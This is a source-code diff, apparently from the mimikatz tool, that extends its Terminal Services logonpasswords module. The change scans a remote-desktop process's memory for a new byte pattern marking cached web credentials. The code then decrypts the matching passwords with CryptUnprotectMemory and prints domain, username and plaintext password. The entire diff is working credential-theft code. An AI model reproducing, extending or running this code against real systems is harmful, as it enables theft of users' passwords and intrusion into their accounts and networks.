@@ -204,12 +204,15 @@ NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
204
204
const BYTE MyPattern [] = {0x00 , 0x00 , 0x00 , 0x00 , 0xbb , 0x47 , /*0x0b, 0x00*/ };
205
205
const BYTE MyPattern2 [] = {0x00 , 0x00 , 0x00 , 0x00 , 0xf3 , 0x47 , /*0x0b, 0x00*/ };
206
206
const BYTE MyPattern3 [] = {0x00 , 0x00 , 0x00 , 0x00 , 0x3b , 0x01 };
207
+ const BYTE MyWebPattern [] = {0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 };
207
208
BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis (PMEMORY_BASIC_INFORMATION pMemoryBasicInformation , PVOID pvArg )
208
209
{
209
210
KULL_M_MEMORY_ADDRESS aLocalBuffer = {NULL , & KULL_M_MEMORY_GLOBAL_OWN_HANDLE }, aProcess = {pMemoryBasicInformation -> BaseAddress , (PKULL_M_MEMORY_HANDLE ) pvArg };
210
- PBYTE CurrentPtr , limite ;
211
+ PBYTE CurrentPtr , limite , ref ;
211
212
PWTS_KIWI pKiwiData ;
212
- BOOL decStatus = TRUE, bIsCandidate ;
213
+ PWTS_WEB_KIWI pWebKiwiData ;
214
+ BOOL decStatus , bIsCandidate ;
215
+ DWORD dwOffset ;
213
216
214
217
if ((pMemoryBasicInformation -> Type == MEM_PRIVATE ) && (pMemoryBasicInformation -> State != MEM_FREE ) && (pMemoryBasicInformation -> Protect == PAGE_READWRITE ))
215
218
{
@@ -218,7 +221,7 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
218
221
{
219
222
if (kull_m_memory_copy (& aLocalBuffer , & aProcess , pMemoryBasicInformation -> RegionSize ))
220
223
{
221
- for (CurrentPtr = (PBYTE ) aLocalBuffer .address , limite = (PBYTE ) aLocalBuffer .address + pMemoryBasicInformation -> RegionSize ; CurrentPtr + sizeof (MyPattern ) <= limite ; CurrentPtr ++ )
224
+ for (CurrentPtr = (PBYTE ) aLocalBuffer .address , limite = (PBYTE ) aLocalBuffer .address + pMemoryBasicInformation -> RegionSize ; CurrentPtr + sizeof (MyWebPattern ) <= limite ; CurrentPtr += sizeof ( PVOID ) )
222
225
{
223
226
pKiwiData = (PWTS_KIWI ) CurrentPtr ;
224
227
@@ -232,31 +235,92 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
232
235
}
233
236
else bIsCandidate = FALSE;
234
237
235
- if (bIsCandidate && ! pKiwiData -> unk2 )
238
+ if (bIsCandidate )
236
239
{
237
- //kprintf(L"-> %08x (%hu %hu %hu)\n", pKiwiData->unk1, pKiwiData->cbDomain, pKiwiData->cbUsername, pKiwiData->cbPassword);
238
- if (!(pKiwiData -> cbDomain & 1 ) && (pKiwiData -> cbDomain < sizeof (pKiwiData -> Domain )))
240
+ if (!pKiwiData -> unk2 )
239
241
{
240
- if (!(pKiwiData -> cbUsername & 1 ) && (pKiwiData -> cbUsername > sizeof (wchar_t )) && (pKiwiData -> cbUsername < sizeof (pKiwiData -> UserName )))
242
+ //kprintf(L"-> %08x (%hu %hu %hu)\n", pKiwiData->unk1, pKiwiData->cbDomain, pKiwiData->cbUsername, pKiwiData->cbPassword);
243
+ if (!(pKiwiData -> cbDomain & 1 ) && (pKiwiData -> cbDomain < sizeof (pKiwiData -> Domain )))
241
244
{
242
- if (!(pKiwiData -> cbPassword & 1 ) && (pKiwiData -> cbPassword < sizeof (pKiwiData -> Password )))
245
+ if (!(pKiwiData -> cbUsername & 1 ) && (pKiwiData -> cbUsername > sizeof ( wchar_t )) && ( pKiwiData -> cbUsername < sizeof (pKiwiData -> UserName )))
243
246
{
244
- kprintf (
245
- L"\n Domain : %.*s\n"
246
- L" UserName : %.*s\n" ,
247
- pKiwiData -> cbDomain / sizeof (wchar_t ), pKiwiData -> Domain ,
248
- pKiwiData -> cbUsername / sizeof (wchar_t ), pKiwiData -> UserName
249
- );
250
-
251
- if (pKiwiData -> cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10 ))
247
+ if (!(pKiwiData -> cbPassword & 1 ) && (pKiwiData -> cbPassword < sizeof (pKiwiData -> Password )))
252
248
{
253
- decStatus = kull_m_crypto_remote_CryptUnprotectMemory (aProcess .hMemory , pKiwiData -> Password , sizeof (pKiwiData -> Password ), CRYPTPROTECTMEMORY_SAME_PROCESS );
249
+ kprintf (
250
+ L"\n Domain : %.*s\n"
251
+ L" UserName : %.*s\n" ,
252
+ pKiwiData -> cbDomain / sizeof (wchar_t ), pKiwiData -> Domain ,
253
+ pKiwiData -> cbUsername / sizeof (wchar_t ), pKiwiData -> UserName
254
+ );
255
+
256
+ if (pKiwiData -> cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10 ))
257
+ {
258
+ decStatus = kull_m_crypto_remote_CryptUnprotectMemory (aProcess .hMemory , pKiwiData -> Password , sizeof (pKiwiData -> Password ), CRYPTPROTECTMEMORY_SAME_PROCESS );
259
+ }
260
+ else decStatus = TRUE;
261
+
262
+ if (decStatus )
263
+ {
264
+ kprintf (L" Password/Pin: %.*s\n" , pKiwiData -> cbPassword / sizeof (wchar_t ), pKiwiData -> Password );
265
+ }
254
266
}
267
+ }
268
+ }
269
+ }
270
+ }
271
+ else if (RtlEqualMemory (MyWebPattern , CurrentPtr , sizeof (MyWebPattern )))
272
+ {
273
+ pWebKiwiData = (PWTS_WEB_KIWI ) CurrentPtr ;
274
+ if (
275
+ (pWebKiwiData -> Username .Buffer && !((ULONG_PTR ) pWebKiwiData -> Username .Buffer % sizeof (PVOID )) && ((ULONG_PTR ) pWebKiwiData -> Username .Buffer < 0x1000 ))
276
+ &&
277
+ (pWebKiwiData -> Username .Length && !(pWebKiwiData -> Username .Length % sizeof (wchar_t )) && (pWebKiwiData -> Username .Length < ((WTS_USERNAME_LENGTH + 1 ) * sizeof (wchar_t ))) && ((pWebKiwiData -> Username .Length == pWebKiwiData -> Username .MaximumLength ) || (pWebKiwiData -> Username .Length == (pWebKiwiData -> Username .MaximumLength - sizeof (wchar_t )))))
278
+ )
279
+ {
255
280
281
+ if (
282
+ (pWebKiwiData -> Password .Buffer && !((ULONG_PTR ) pWebKiwiData -> Password .Buffer % sizeof (PVOID )) && ((ULONG_PTR ) pWebKiwiData -> Password .Buffer < 0x1000 ))
283
+ &&
284
+ (pWebKiwiData -> Password .Length && !(pWebKiwiData -> Password .Length % sizeof (wchar_t )) && (pWebKiwiData -> Password .Length < ((WTS_PASSWORD_LENGTH + 1 ) * sizeof (wchar_t ))) && ((pWebKiwiData -> Password .Length == pWebKiwiData -> Password .MaximumLength ) || (pWebKiwiData -> Password .Length == (pWebKiwiData -> Password .MaximumLength - sizeof (wchar_t )))))
285
+ )
286
+ {
287
+ // Domain is not mandatory here
288
+ kprintf (L"\n * Web Credentials? *\n" );
289
+ ref = (PBYTE ) aProcess .address + (CurrentPtr - (PBYTE ) aLocalBuffer .address );
290
+
291
+ if (
292
+ (pWebKiwiData -> Domain .Buffer && !((ULONG_PTR ) pWebKiwiData -> Domain .Buffer % sizeof (PVOID )) && ((ULONG_PTR ) pWebKiwiData -> Domain .Buffer < 0x1000 ))
293
+ &&
294
+ (pWebKiwiData -> Domain .Length && !(pWebKiwiData -> Domain .Length % sizeof (wchar_t )) && (pWebKiwiData -> Domain .Length < ((WTS_DOMAIN_LENGTH + 1 ) * sizeof (wchar_t ))) && ((pWebKiwiData -> Domain .Length == pWebKiwiData -> Domain .MaximumLength ) || (pWebKiwiData -> Domain .Length == (pWebKiwiData -> Domain .MaximumLength - sizeof (wchar_t )))))
295
+ )
296
+ {
297
+ pWebKiwiData -> Domain .Buffer = (PWSTR ) (ref + (ULONG_PTR ) pWebKiwiData -> Domain .Buffer );
298
+ if (kull_m_process_getUnicodeString (& pWebKiwiData -> Domain , aProcess .hMemory ))
299
+ {
300
+ kprintf (L" Domain : %wZ\n" , & pWebKiwiData -> Domain );
301
+ LocalFree (pWebKiwiData -> Domain .Buffer );
302
+ }
303
+ }
304
+
305
+ pWebKiwiData -> Username .Buffer = (PWSTR ) (ref + (ULONG_PTR ) pWebKiwiData -> Username .Buffer );
306
+ if (kull_m_process_getUnicodeString (& pWebKiwiData -> Username , aProcess .hMemory ))
307
+ {
308
+ kprintf (L" UserName : %wZ\n" , & pWebKiwiData -> Username );
309
+ LocalFree (pWebKiwiData -> Username .Buffer );
310
+ }
311
+
312
+ pWebKiwiData -> Password .Buffer = (PWSTR ) (ref + (ULONG_PTR ) pWebKiwiData -> Password .Buffer );
313
+ if (kull_m_process_getUnicodeString (& pWebKiwiData -> Password , aProcess .hMemory ))
314
+ {
315
+ decStatus = kull_m_crypto_remote_CryptUnprotectMemory (aProcess .hMemory , pWebKiwiData -> Password .Buffer , pWebKiwiData -> Password .Length , CRYPTPROTECTMEMORY_SAME_PROCESS );
256
316
if (decStatus )
257
317
{
258
- kprintf (L" Password/Pin: %.*s\n" , pKiwiData -> cbPassword / sizeof (wchar_t ), pKiwiData -> Password );
318
+ dwOffset = (lstrlen (pWebKiwiData -> Password .Buffer ) + 1 ) * sizeof (wchar_t );
319
+ kprintf (L" Password/Pin: %s\n |_ supp data: " , pWebKiwiData -> Password .Buffer );
320
+ kull_m_string_wprintf_hex ((PBYTE ) pWebKiwiData -> Password .Buffer + dwOffset , pWebKiwiData -> Password .Length - dwOffset , 1 );
321
+ kprintf (L"\n" );
259
322
}
323
+ LocalFree (pWebKiwiData -> Password .Buffer );
260
324
}
261
325
}
262
326
}
0 commit comments